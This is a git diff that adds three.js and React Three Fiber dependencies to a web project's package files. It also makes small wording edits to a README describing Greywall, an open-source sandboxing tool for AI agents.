"resolved": "https://registry.npmjs.org/three/-/three-0.183.2.tgz",
|
||||
"integrity": "sha512-di3BsL2FEQ1PA7Hcvn4fyJOlxRRgFYBpMTcyOgkwJIaDOdJMebEFPA+t98EvjuljDx4hNulAGwF6KIjtwI5jgQ==",
|
||||
"license": "MIT",
|
||||
"peer": true
|
||||
},
|
||||
"node_modules/three-mesh-bvh": {
|
||||
"version": "0.8.3",
|
||||
"resolved": "https://registry.npmjs.org/three-mesh-bvh/-/three-mesh-bvh-0.8.3.tgz",
|
||||
"integrity": "sha512-4G5lBaF+g2auKX3P0yqx+MJC6oVt6sB5k+CchS6Ob0qvH0YIhuUk1eYr7ktsIpY+albCqE80/FVQGV190PmiAg==",
|
||||
"license": "MIT",
|
||||
"peerDependencies": {
|
||||
"three": ">= 0.159.0"
|
||||
}
|
||||
},
|
||||
"node_modules/three-stdlib": {
|
||||
"version": "2.36.1",
|
||||
"resolved": "https://registry.npmjs.org/three-stdlib/-/three-stdlib-2.36.1.tgz",
|
||||
"integrity": "sha512-XyGQrFmNQ5O/IoKm556ftwKsBg11TIb301MB5dWNicziQBEs2g3gtOYIf7pFiLa0zI2gUwhtCjv9fmjnxKZ1Cg==",
|
||||
"license": "MIT",
|
||||
"dependencies": {
|
||||
"@types/draco3d": "^1.4.0",
|
||||
"@types/offscreencanvas": "^2019.6.4",
|
||||
"@types/webxr": "^0.5.2",
|
||||
"draco3d": "^1.4.1",
|
||||
"fflate": "^0.6.9",
|
||||
"potpack": "^1.0.1"
|
||||
},
|
||||
"peerDependencies": {
|
||||
"three": ">=0.128.0"
|
||||
}
|
||||
},
|
||||
"node_modules/three-stdlib/node_modules/fflate": {
|
||||
"version": "0.6.10",
|
||||
"resolved": "https://registry.npmjs.org/fflate/-/fflate-0.6.10.tgz",
|
||||
"integrity": "sha512-IQrh3lEPM93wVCEczc9SaAOvkmcoQn/G8Bo1e8ZPlY3X3bnAxWaBdvTdvM1hP62iZp0BXWDy4vTAy4fF0+Dlpg==",
|
||||
"license": "MIT"
|
||||
},
|
||||
"node_modules/troika-three-text": {
|
||||
"version": "0.52.4",
|
||||
"resolved": "https://registry.npmjs.org/troika-three-text/-/troika-three-text-0.52.4.tgz",
|
||||
"integrity": "sha512-V50EwcYGruV5rUZ9F4aNsrytGdKcXKALjEtQXIOBfhVoZU9VAqZNIoGQ3TMiooVqFAbR1w15T+f+8gkzoFzawg==",
|
||||
"license": "MIT",
|
||||
"dependencies": {
|
||||
"bidi-js": "^1.0.2",
|
||||
"troika-three-utils": "^0.52.4",
|
||||
"troika-worker-utils": "^0.52.0",
|
||||
"webgl-sdf-generator": "1.1.1"
|
||||
},
|
||||
"peerDependencies": {
|
||||
"three": ">=0.125.0"
|
||||
}
|
||||
},
|
||||
"node_modules/troika-three-utils": {
|
||||
"version": "0.52.4",
|
||||
"resolved": "https://registry.npmjs.org/troika-three-utils/-/troika-three-utils-0.52.4.tgz",
|
||||
"integrity": "sha512-NORAStSVa/BDiG52Mfudk4j1FG4jC4ILutB3foPnfGbOeIs9+G5vZLa0pnmnaftZUGm4UwSoqEpWdqvC7zms3A==",
|
||||
"license": "MIT",
|
||||
"peerDependencies": {
|
||||
"three": ">=0.125.0"
|
||||
}
|
||||
},
|
||||
"node_modules/troika-worker-utils": {
|
||||
"version": "0.52.0",
|
||||
"resolved": "https://registry.npmjs.org/troika-worker-utils/-/troika-worker-utils-0.52.0.tgz",
|
||||
"integrity": "sha512-W1CpvTHykaPH5brv5VHLfQo9D1OYuo0cSBEUQFFT/nBUzM8iD6Lq2/tgG/f1OelbAS1WtaTPQzE5uM49egnngw==",
|
||||
"license": "MIT"
|
||||
},
|
||||
"node_modules/tslib": {
|
||||
"version": "2.8.1",
|
||||
"resolved": "https://registry.npmjs.org/tslib/-/tslib-2.8.1.tgz",
|
||||
"integrity": "sha512-oJFu94HQb+KVduSUQL7wnpmqnfmLsOA/nAh6b6EH0wCEoK0/mPeXU6c3wKDV83MkOuHPRHtSXKKU99IBazS/2w==",
|
||||
"license": "0BSD"
|
||||
},
|
||||
"node_modules/tunnel-rat": {
|
||||
"version": "0.1.2",
|
||||
"resolved": "https://registry.npmjs.org/tunnel-rat/-/tunnel-rat-0.1.2.tgz",
|
||||
"integrity": "sha512-lR5VHmkPhzdhrM092lI2nACsLO4QubF0/yoOhzX7c+wIpbN1GjHNzCc91QlpxBi+cnx8vVJ+Ur6vL5cEoQPFpQ==",
|
||||
"license": "MIT",
|
||||
"dependencies": {
|
||||
"zustand": "^4.3.2"
|
||||
}
|
||||
},
|
||||
"node_modules/tunnel-rat/node_modules/zustand": {
|
||||
"version": "4.5.7",
|
||||
"resolved": "https://registry.npmjs.org/zustand/-/zustand-4.5.7.tgz",
|
||||
"integrity": "sha512-CHOUy7mu3lbD6o6LJLfllpjkzhHXSBlX8B9+qPddUsIfeF5S/UZ5q0kmCsnRqT1UHFQZchNFDDzMbQsuesHWlw==",
|
||||
"license": "MIT",
|
||||
"dependencies": {
|
||||
"use-sync-external-store": "^1.2.2"
|
||||
},
|
||||
"engines": {
|
||||
"node": ">=12.7.0"
|
||||
},
|
||||
"peerDependencies": {
|
||||
"@types/react": ">=16.8",
|
||||
"immer": ">=9.0.6",
|
||||
"react": ">=16.8"
|
||||
},
|
||||
"peerDependenciesMeta": {
|
||||
"@types/react": {
|
||||
"optional": true
|
||||
},
|
||||
"immer": {
|
||||
"optional": true
|
||||
},
|
||||
"react": {
|
||||
"optional": true
|
||||
}
|
||||
}
|
||||
},
|
||||
"node_modules/tw-animate-css": {
|
||||
"version": "1.3.3",
|
||||
"resolved": "https://registry.npmjs.org/tw-animate-css/-/tw-animate-css-1.3.3.tgz",
|
||||
@@ -1716,6 +2345,79 @@
|
||||
"integrity": "sha512-iwDZqg0QAGrg9Rav5H4n0M64c3mkR59cJ6wQp+7C4nI0gsmExaedaYLNO44eT4AtBBwjbTiGPMlt2Md0T9H9JQ==",
|
||||
"dev": true,
|
||||
"license": "MIT"
|
||||
},
|
||||
"node_modules/use-sync-external-store": {
|
||||
"version": "1.6.0",
|
||||
"resolved": "https://registry.npmjs.org/use-sync-external-store/-/use-sync-external-store-1.6.0.tgz",
|
||||
"integrity": "sha512-Pp6GSwGP/NrPIrxVFAIkOQeyw8lFenOHijQWkUTrDvrF4ALqylP2C/KCkeS9dpUM3KvYRQhna5vt7IL95+ZQ9w==",
|
||||
"license": "MIT",
|
||||
"peerDependencies": {
|
||||
"react": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0"
|
||||
}
|
||||
},
|
||||
"node_modules/utility-types": {
|
||||
"version": "3.11.0",
|
||||
"resolved": "https://registry.npmjs.org/utility-types/-/utility-types-3.11.0.tgz",
|
||||
"integrity": "sha512-6Z7Ma2aVEWisaL6TvBCy7P8rm2LQoPv6dJ7ecIaIixHcwfbJ0x7mWdbcwlIM5IGQxPZSFYeqRCqlOOeKoJYMkw==",
|
||||
"license": "MIT",
|
||||
"engines": {
|
||||
"node": ">= 4"
|
||||
}
|
||||
},
|
||||
"node_modules/webgl-constants": {
|
||||
"version": "1.1.1",
|
||||
"resolved": "https://registry.npmjs.org/webgl-constants/-/webgl-constants-1.1.1.tgz",
|
||||
"integrity": "sha512-LkBXKjU5r9vAW7Gcu3T5u+5cvSvh5WwINdr0C+9jpzVB41cjQAP5ePArDtk/WHYdVj0GefCgM73BA7FlIiNtdg=="
|
||||
},
|
||||
"node_modules/webgl-sdf-generator": {
|
||||
"version": "1.1.1",
|
||||
"resolved": "https://registry.npmjs.org/webgl-sdf-generator/-/webgl-sdf-generator-1.1.1.tgz",
|
||||
"integrity": "sha512-9Z0JcMTFxeE+b2x1LJTdnaT8rT8aEp7MVxkNwoycNmJWwPdzoXzMh0BjJSh/AEFP+KPYZUli814h8bJZFIZ2jA==",
|
||||
"license": "MIT"
|
||||
},
|
||||
"node_modules/which": {
|
||||
"version": "2.0.2",
|
||||
"resolved": "https://registry.npmjs.org/which/-/which-2.0.2.tgz",
|
||||
"integrity": "sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA==",
|
||||
"license": "ISC",
|
||||
"dependencies": {
|
||||
"isexe": "^2.0.0"
|
||||
},
|
||||
"bin": {
|
||||
"node-which": "bin/node-which"
|
||||
},
|
||||
"engines": {
|
||||
"node": ">= 8"
|
||||
}
|
||||
},
|
||||
"node_modules/zustand": {
|
||||
"version": "5.0.12",
|
||||
"resolved": "https://registry.npmjs.org/zustand/-/zustand-5.0.12.tgz",
|
||||
"integrity": "sha512-i77ae3aZq4dhMlRhJVCYgMLKuSiZAaUPAct2AksxQ+gOtimhGMdXljRT21P5BNpeT4kXlLIckvkPM029OljD7g==",
|
||||
"license": "MIT",
|
||||
"engines": {
|
||||
"node": ">=12.20.0"
|
||||
},
|
||||
"peerDependencies": {
|
||||
"@types/react": ">=18.0.0",
|
||||
"immer": ">=9.0.6",
|
||||
"react": ">=18.0.0",
|
||||
"use-sync-external-store": ">=1.2.0"
|
||||
},
|
||||
"peerDependenciesMeta": {
|
||||
"@types/react": {
|
||||
"optional": true
|
||||
},
|
||||
"immer": {
|
||||
"optional": true
|
||||
},
|
||||
"react": {
|
||||
"optional": true
|
||||
},
|
||||
"use-sync-external-store": {
|
||||
"optional": true
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -8,6 +8,9 @@
|
||||
"start": "next start"
|
||||
},
|
||||
"dependencies": {
|
||||
"@react-three/drei": "^10.7.7",
|
||||
"@react-three/fiber": "^9.5.0",
|
||||
"@types/three": "^0.183.1",
|
||||
"class-variance-authority": "^0.7.1",
|
||||
"clsx": "^2.1.1",
|
||||
"lucide-react": "^0.454.0",
|
||||
@@ -15,7 +18,8 @@
|
||||
"next-themes": "^0.4.6",
|
||||
"react": "19.2.0",
|
||||
"react-dom": "19.2.0",
|
||||
"tailwind-merge": "^3.3.1"
|
||||
"tailwind-merge": "^3.3.1",
|
||||
"three": "^0.183.2"
|
||||
},
|
||||
"devDependencies": {
|
||||
"@tailwindcss/postcss": "^4.1.9",
|
||||
|
||||
@@ -1,12 +1,12 @@
|
||||
# Greywall
|
||||
|
||||
> Container-free, default-deny sandboxing with real-time observability for AI agents on Linux and macOS.
|
||||
> Frictionless sandboxing with real-time observability for AI agents on Linux and macOS.
|
||||
|
||||
Greywall is an open-source CLI tool that wraps any AI agent (Claude Code, Codex, Cursor, Aider, and others) in a kernel-enforced sandbox. It uses five security layers on Linux (Bubblewrap namespaces, Landlock filesystem, Seccomp BPF syscall filtering, eBPF monitoring, and TUN+SOCKS5 network proxy) and four on macOS (Seatbelt sandbox, filesystem policy, log stream monitor, and proxy-based network control). Default-deny policy means nothing is accessible unless explicitly granted. Built by Greyhaven, licensed Apache 2.0.
|
||||
Greywall is an open-source CLI tool that wraps any AI agent (Claude Code, Codex, Cursor, Aider, and others) in a kernel-enforced sandbox. It uses five security layers on Linux (Bubblewrap namespaces, Landlock filesystem, Seccomp BPF syscall filtering, eBPF monitoring, and TUN+SOCKS5 network proxy) and four on macOS (Seatbelt sandbox, filesystem policy, log stream monitor, and proxy-based network control). Built by Greyhaven, licensed Apache 2.0.
|
||||
|
||||
## Key Features
|
||||
- Filesystem isolation (kernel-enforced read/write/deny per path)
|
||||
- Network isolation (all traffic routed through GreyProxy)
|
||||
- Network isolation (all traffic routed through Greywall's proxy)
|
||||
- Command blocking (detects blocked commands in pipes, chains, nested shells)
|
||||
- Real-time violation monitoring (every denial captured with full context)
|
||||
- Learning mode (auto-generates least-privilege templates from observed access)
|
||||
|
||||
Reference in New Issue
Block a user